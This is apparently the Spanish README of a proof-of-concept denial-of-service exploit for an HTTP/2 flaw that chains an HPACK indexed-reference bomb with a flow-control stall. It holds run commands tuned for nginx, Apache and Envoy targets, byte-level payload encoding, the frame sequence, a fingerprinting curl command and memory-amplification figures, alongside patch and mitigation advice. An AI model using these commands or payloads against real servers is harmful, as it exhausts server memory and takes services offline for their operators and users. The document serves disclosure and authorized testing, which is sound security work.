
PoC de bomba HTTP/2 — CVE-2026-49975 (bomba de referencia indexada HPACK + bloqueo del control de flujo)
Exploit de prueba de concepto para CVE-2026-49975, una vulnerabilidad remota de denegación de servicio en implementaciones de servidores HTTP/2. Descubierto por Quang Luong (Calif Security Research), divulgado el 2 de junio de 2026.
Solo para pruebas de seguridad autorizadas. No lo utilices contra infraestructuras que no poseas o para las que no tengas permiso por escrito para probar.
El ataque encadena dos mecanismos del protocolo HTTP/2:
1. Bomba de referencias indexadas HPACK
HPACK (RFC 7541) permite a los remitentes referenciar cabeceras ya vistas mediante un índice, normalmente un byte. El exploit inserta una cabecera casi vacía en la tabla dinámica una sola vez y después la referencia miles de veces. Cada referencia de 1 byte en la transmisión obliga al servidor a asignar ~70 bytes de contabilidad interna por entrada. No se utilizan valores grandes, por lo que los límites de «max decoded header size» nunca se activan.
2. Bloqueo de ventana de control de flujo HTTP/2
Al anunciar una ventana de recepción de cero bytes, el atacante impide que el servidor envíe su respuesta o libere memoria. Tramas WINDOW_UPDATE periódicas de 1 byte restablecen el tiempo de espera de envío del servidor, manteniendo las asignaciones fijas mientras la conexión permanezca abierta.
Resultado: ~16 KB enviados por flujo → ~1.15 MB de RAM del servidor asignados y retenidos por flujo.
Sin dependencias: solo la biblioteca estándar.
# Basic test (single connection)
python3 exploit-test.py target.com 443
# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²
# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB
# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# Vulnerable if:
# - ALPN: server accepted h2 (HTTP/2 enabled)
# - server: nginx/X.Y.Z (where X.Y.Z < 1.29.8)
nginx — actualice a 1.29.8+ y añada:
http2 max_headers 1000;
O deshabilite HTTP/2 por completo:
# Remove "http2" from listen directive
listen 443 ssl;
Apache httpd — actualice mod_http2 a v2.0.41+. Medida provisional: Protocols http/1.1
IIS / Envoy / Pingora — no hay parche disponible al momento de escribir esto. Deshabilite HTTP/2 o coloque un proxy parcheado al frente.
General (todos los servidores):
# Cap worker memory to limit blast radius
ulimit -v 2097152 # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"
Dynamic table seed (incremental indexing, adds to index 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
Indexed reference to entry 62 (1 byte each):
0x80 | 62 = 0xbe
Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← bomb payload (pseudo-headers + HPACK bomb)
HEADERS [stream 3] ← bomb payload
...
WINDOW_UPDATE(1) per stream / 1s (keep-alive stall)
| Archivo | Descripción |
|---|---|
exploit-test.py | PoC principal: multi-flujo, reconexión continua, modos nginx y classic |
SECURITY-REPORT-MIST.md | Informe de evaluación autorizado para mist.ac.bd |
LICENSE | MIT |
| Servidor | Amplificación | Impacto de la demo | Estado |
|---|
| Envoy 1.37.2 | ~5,700:1 | 32 GB en ~10s | Sin parche en el momento de la divulgación |
| Apache httpd 2.4.67 | ~4,000:1 | 32 GB en ~18s | Corregido en mod_http2 v2.0.41 |
| nginx < 1.29.8 | ~70:1 | 32 GB en ~45s | Corregido en nginx 1.29.8 |
| Microsoft IIS (WS 2025) | ~68:1 | 64 GB en ~45s | Sin parche en el momento de la divulgación |
| Cloudflare Pingora | ~68:1 | — | Sin parche en el momento de la divulgación |
| Parámetro | Valor por defecto | Descripción |
|---|
target | — | Nombre de host o IP |
port | 443 | Puerto TCP |
--threads | 1 | Conexiones en paralelo (cada una se reconecta al cerrarse) |
--streams | 10 | Flujos HTTP/2 por conexión |
--headers | 5000 | Referencias indexadas HPACK por flujo |
--mode | nginx | nginx (contabilidad, 70:1) o classic (valor grande, 4000:1) |
--no-ssl | off | Deshabilita TLS (h2c) |
| Objetivo | Modo | --headers | Notas |
|---|
| nginx < 1.29.8 | nginx | 16374 | Se mantiene dentro del límite predeterminado http2_max_header_size 16k |
| Apache httpd | classic | 5000 | Técnica de migas de cookie |
| Envoy | classic | 32000 | Alta amplificación |